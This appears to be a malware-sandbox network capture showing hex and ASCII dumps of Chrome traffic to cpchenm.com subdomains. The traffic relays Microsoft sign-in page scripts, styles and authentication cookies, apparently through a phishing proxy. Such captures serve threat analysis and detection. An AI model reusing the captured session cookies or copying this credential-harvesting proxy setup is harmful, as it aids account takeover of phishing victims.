2024-11-12 16:29:50 UTC	5895	IN	Data Raw: 78 20 53 79 6d 62 6f 6c 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4d 65 69 72 79 6f 20 55 49 22 2c 22 4b 68 6d 65 72 20 55 49 22 2c 22 54 75 6e 67 61 22 2c 22 4c 61 6f 20 55 49 22 2c 22 52 61 61 76 69 22 2c 22 49 73 6b 6f 6f 6c 61 20 50 6f 74 61 22 2c 22 4c 61 74 68 61 22 2c 22 4c 65 65 6c 61 77 61 64 65 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 20 55 49 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4a 68 65 6e 67 48 65 69 20 55 49 22 2c 22 4d 61 6c 67 75 6e 20 47 6f 74 68 69 63 22 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 Data Ascii: x Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsP
2024-11-12 16:29:50 UTC	7074	IN	Data Raw: 2e 33 30 36 38 72 65 6d 7d 2e 74 65 78 74 2d 73 75 62 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 39 33 31 38 72 65 6d 7d 2e 74 65 78 74 2d 73 75 62 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 35 35 36 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2c 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 Data Ascii: .3068rem}.text-subcaption.text-maxlines-3{max-height:30.9088px;max-height:1.9318rem}.text-subcaption.text-maxlines-4{max-height:40.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25
2024-11-12 16:29:50 UTC	8253	IN	Data Raw: 2d 31 32 7b 77 69 64 74 68 3a 35 30 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 33 7b 77 69 64 74 68 3a 35 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 34 7b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 35 7b 77 69 64 74 68 3a 36 32 2e 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 36 7b 77 69 64 74 68 3a 36 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 37 7b 77 69 64 74 68 3a 37 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 38 7b 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 39 7b 77 69 64 74 68 3a 37 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 31 7b 77 69 64 74 68 3a 38 37 2e 35 25 7d 2e 63 6f 6c 2d 73 6d 2d 32 32 7b 77 Data Ascii: -12{width:50%}.col-sm-13{width:54.16667%}.col-sm-14{width:58.33333%}.col-sm-15{width:62.5%}.col-sm-16{width:66.66667%}.col-sm-17{width:70.83333%}.col-sm-18{width:75%}.col-sm-19{width:79.16667%}.col-sm-20{width:83.33333%}.col-sm-21{width:87.5%}.col-sm-22{w
2024-11-12 16:29:50 UTC	9432	IN	Data Raw: 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 32 31 7b 6c 65 66 74 3a 38 37 2e 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 32 32 7b 6c 65 66 74 3a 39 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 32 33 7b 6c 65 66 74 3a 39 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 32 34 7b 6c 65 66 74 3a 31 30 30 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 Data Ascii: %}.col-lg-push-21{left:87.5%}.col-lg-push-22{left:91.66667%}.col-lg-push-23{left:95.83333%}.col-lg-push-24{left:100%}.col-lg-offset-0{margin-left:0}.col-lg-offset-1{margin-left:4.16667%}.col-lg-offset-2{margin-left:8.33333%}.col-lg-offset-3{margin-left:12
2024-11-12 16:29:50 UTC	10611	IN	Data Raw: 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 5d 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 20 69 6e 70 75 74 5b Data Ascii: ],fieldset[disabled] input[type="datetime"],input[type="datetime-local"][disabled],input[type="datetime-local"][readonly],fieldset[disabled] input[type="datetime-local"],input[type="email"][disabled],input[type="email"][readonly],fieldset[disabled] input[
2024-11-12 16:29:50 UTC	11790	IN	Data Raw: 31 30 30 25 7d 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 3e 74 66 6f 6f 74 3e 74 72 3e 74 64 7b 70 61 64 64 69 6e 67 3a 31 36 70 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 7d 2e 74 61 62 6c 65 3e 63 61 70 74 69 6f 6e 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 3e 63 61 70 74 69 6f 6e 2b 74 68 65 61 64 3e 74 72 3a Data Ascii: 100%}.table>thead>tr>th,.table>thead>tr>td,.table>tbody>tr>th,.table>tbody>tr>td,.table>tfoot>tr>th,.table>tfoot>tr>td{padding:16px;vertical-align:top}.table>thead>tr>th{vertical-align:bottom}.table>caption+thead>tr:first-child>th,.table>caption+thead>tr:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49216	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:50 UTC	969	OUT	GET /common/handlers/watson HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; fpc=AgoPu6kglfFNoCf1boaPI48; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeR-nh---hZTu4PYqzpbok8MQ_QHeER5WiuVYZj8zzArors-NktxlIATaTGsE4EwcoogCFCKz7fYVT2nl4og7Pq128fudEuKYDlHEqHm6UrhANECekQ2mLt-9tDamerkEvWXDNIF6Rfe9CHNZqG3-AFjrh47ris_u6R79zp6sa4vwgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-12 16:29:51 UTC	1154	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/json; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:50 GMT Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: fpc=AgoPu6kglfFNoCf1boaPI48; Path=/; Expires=Thu, 12 Dec 2024 16:29:50 GMT; HttpOnly; Secure; SameSite=None
2024-11-12 16:29:51 UTC	355	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 33 34 33 2e 34 20 2d 20 46 52 43 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a 58 2d 4d 73 2d 52 65 71 75 65 73 74 Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneSet-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Ms-Ests-Server: 2.1.19343.4 - FRC ProdSlicesX-Ms-Request
2024-11-12 16:29:51 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 33 62 61 36 36 35 62 62 2d 31 65 38 30 2d 34 33 66 33 2d 61 66 61 38 2d 34 34 63 33 37 36 34 64 37 30 31 66 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 20 31 36 3a 32 39 3a 35 30 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"3ba665bb-1e80-43f3-afa8-44c3764d701f","timestamp":"2024-11-12 16:29:50Z","message":"AADSTS900561"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49219	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:51 UTC	695	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" Origin: https://tvrceocprq.cpchenm.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:51 UTC	1152	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript
2024-11-12 16:29:51 UTC	2383	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 Data Ascii: Content-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: a
2024-11-12 16:29:51 UTC	2	IN	Data Raw: 36 64 Data Ascii: 6d
2024-11-12 16:29:51 UTC	559	IN	Data Raw: 64 62 34 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 Data Ascii: db4/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright not
2024-11-12 16:29:51 UTC	4716	IN	Data Raw: 78 70 72 65 73 73 6c 79 20 67 72 61 6e 74 65 64 20 75 6e 64 65 72 20 74 68 69 73 20 61 67 72 65 65 6d 65 6e 74 2c 20 77 68 65 74 68 65 72 20 62 79 20 69 6d 70 6c 69 63 61 74 69 6f 6e 2c 20 65 73 74 6f 70 70 65 6c 20 6f 72 20 6f 74 68 65 72 77 69 73 65 2e 0a 20 2a 20 0a 20 2a 20 20 20 6a 73 6f 6e 32 2e 6a 73 20 28 32 30 31 36 2d 30 35 2d 30 31 29 0a 20 2a 20 20 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 64 6f 75 67 6c 61 73 63 72 6f 63 6b 66 6f 72 64 2f 4a 53 4f 4e 2d 6a 73 0a 20 2a 20 20 20 4c 69 63 65 6e 73 65 3a 20 50 75 62 6c 69 63 20 44 6f 6d 61 69 6e 0a 20 2a 20 0a 20 2a 20 50 72 6f 76 69 64 65 64 20 66 6f 72 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 61 6c 20 50 75 72 70 6f 73 65 73 20 4f 6e 6c 79 0a 20 2a 20 0a 20 2a 20 2d 2d 2d 2d 2d 2d Data Ascii: xpressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for Informational Purposes Only * * ------
2024-11-12 16:29:51 UTC	5895	IN	Data Raw: 61 6c 22 2c 33 3a 22 63 6c 69 65 6e 74 74 72 61 63 69 6e 67 22 2c 34 3a 22 63 6f 6e 66 69 72 6d 72 65 63 6f 76 65 72 79 75 73 65 72 6e 61 6d 65 22 2c 35 3a 22 63 6f 6e 66 69 72 6d 73 65 6e 64 22 2c 36 3a 22 63 6f 6e 66 69 72 6d 73 69 67 6e 75 70 22 2c 37 3a 22 63 72 65 64 65 6e 74 69 61 6c 70 69 63 6b 65 72 22 2c 38 3a 22 63 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 6c 6f 61 64 65 72 22 2c 39 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 61 63 63 65 73 73 70 61 73 73 22 2c 31 30 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 72 65 6d 6f 74 65 6c 6f 67 69 6e 70 6f 6c 6c 22 2c 31 31 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 73 65 61 72 63 68 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 31 32 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 73 69 67 6e 75 70 62 6c 6f 63 6b 65 64 22 2c 31 33 3a 22 65 73 74 Data Ascii: al",3:"clienttracing",4:"confirmrecoveryusername",5:"confirmsend",6:"confirmsignup",7:"credentialpicker",8:"customizationloader",9:"estslogin_accesspass",10:"estslogin_remoteloginpoll",11:"estslogin_searchorganization",12:"estslogin_signupblocked",13:"est
2024-11-12 16:29:51 UTC	7074	IN	Data Raw: 6f 6e 65 22 7d 2c 6e 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 3d 7b 50 72 65 76 69 6f 75 73 3a 2d 31 2c 55 6e 6b 6e 6f 77 6e 3a 30 2c 55 73 65 72 6e 61 6d 65 3a 31 2c 50 61 73 73 77 6f 72 64 3a 32 2c 4f 6e 65 54 69 6d 65 43 6f 64 65 3a 33 2c 52 65 6d 6f 74 65 4e 47 43 3a 34 2c 50 68 6f 6e 65 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 35 2c 4c 77 61 43 6f 6e 73 65 6e 74 3a 36 2c 49 64 70 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 37 2c 49 64 70 52 65 64 69 72 65 63 74 3a 38 2c 56 69 65 77 41 67 72 65 65 6d 65 6e 74 3a 31 30 2c 4c 65 61 72 6e 4d 6f 72 65 3a 31 31 2c 54 69 6c 65 73 3a 31 32 2c 43 6f 6e 66 69 72 6d 53 65 6e 64 3a 31 33 2c 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 43 6f 64 65 3a 31 34 2c 52 65 6d 6f 74 65 4c 6f 67 69 6e 50 6f 6c 6c 69 6e Data Ascii: one"},n.PaginatedState={Previous:-1,Unknown:0,Username:1,Password:2,OneTimeCode:3,RemoteNGC:4,PhoneDisambiguation:5,LwaConsent:6,IdpDisambiguation:7,IdpRedirect:8,ViewAgreement:10,LearnMore:11,Tiles:12,ConfirmSend:13,RemoteConnectCode:14,RemoteLoginPollin
2024-11-12 16:29:51 UTC	8253	IN	Data Raw: 53 61 73 45 6e 64 43 61 6c 6c 4e 6f 6e 52 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 34 22 2c 44 65 76 69 63 65 49 73 44 69 73 61 62 6c 65 64 3a 22 31 33 35 30 31 31 22 2c 46 69 64 6f 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 3a 22 31 33 35 30 31 36 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 41 75 74 68 41 70 70 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 31 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 32 22 2c 50 61 73 73 6b 65 79 41 75 74 68 49 6e 74 65 72 72 75 70 74 65 64 3a 22 31 33 35 30 32 30 31 22 2c 42 6c 6f 63 6b 65 64 41 64 61 6c 56 65 72 73 Data Ascii: SasEndCallNonRetriableError:"131004",DeviceIsDisabled:"135011",FidoBlockedByPolicy:"135016",PasskeyBlockedByPolicyOtherAuthAppPasskeyAvailable:"1350161",PasskeyBlockedByPolicyOtherPasskeyAvailable:"1350162",PasskeyAuthInterrupted:"1350201",BlockedAdalVers
2024-11-12 16:29:51 UTC	9432	IN	Data Raw: 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 70 29 7b 70 3d 21 31 3b 76 61 72 20 65 3d 54 2e 67 65 74 57 69 6e 64 6f 77 73 56 65 72 73 69 6f 6e 28 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 65 26 26 65 3e 3d 31 30 29 7b 76 61 72 20 6e 3d 54 2e 67 65 74 49 45 56 65 72 73 69 6f 6e 28 29 3b 70 3d 6e 75 6c 6c 21 3d 3d 6e 26 26 6e 3e 3d 31 32 7d 7d 72 65 74 75 72 6e 20 70 7d 2c 69 73 43 68 72 6f 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 62 26 26 28 62 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 63 68 72 6f 6d 65 22 29 3e 2d 31 29 2c 62 7d 2c 69 73 46 69 72 65 66 6f 78 4e 65 77 65 72 54 68 61 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 67 5b 65 Data Ascii: {if(null===p){p=!1;var e=T.getWindowsVersion();if(null!==e&&e>=10){var n=T.getIEVersion();p=null!==n&&n>=12}}return p},isChrome:function(){return null===b&&(b=navigator.userAgent.toLowerCase().indexOf("chrome")>-1),b},isFirefoxNewerThan:function(e){if(g[e
2024-11-12 16:29:51 UTC	10611	IN	Data Raw: 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 6e 7c 7c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 61 3d 69 2e 73 70 6c 69 74 28 22 2e 22 29 2c 6f 3d 61 2e 6c 65 6e 67 74 68 2c 72 3d 61 5b 6f 2d 32 5d 2b 22 2e 22 2b 61 5b 6f 2d 31 5d 2c 73 3d 74 7c 7c 22 2f 22 2c 63 3d 22 68 74 74 70 73 3a 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2c 6c 3d 63 3f 22 3b 73 65 63 75 72 65 22 3a 22 22 2c 75 3d 45 2e 67 65 74 44 65 66 61 75 6c 74 53 61 6d 65 53 69 74 65 41 74 74 72 69 62 75 74 65 28 63 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 64 2e 66 6f 72 6d 61 74 28 22 7b 30 7d 3d 20 3b 64 6f 6d 61 69 6e 3d 2e 7b 31 7d 3b 70 61 74 68 3d 7b 32 7d 3b 65 78 70 69 72 65 73 3d 7b 33 Data Ascii: n(e,n,t){var i=n\|\|document.location.hostname,a=i.split("."),o=a.length,r=a[o-2]+"."+a[o-1],s=t\|\|"/",c="https:"===document.location.protocol,l=c?";secure":"",u=E.getDefaultSameSiteAttribute(c);document.cookie=d.format("{0}= ;domain=.{1};path={2};expires={3
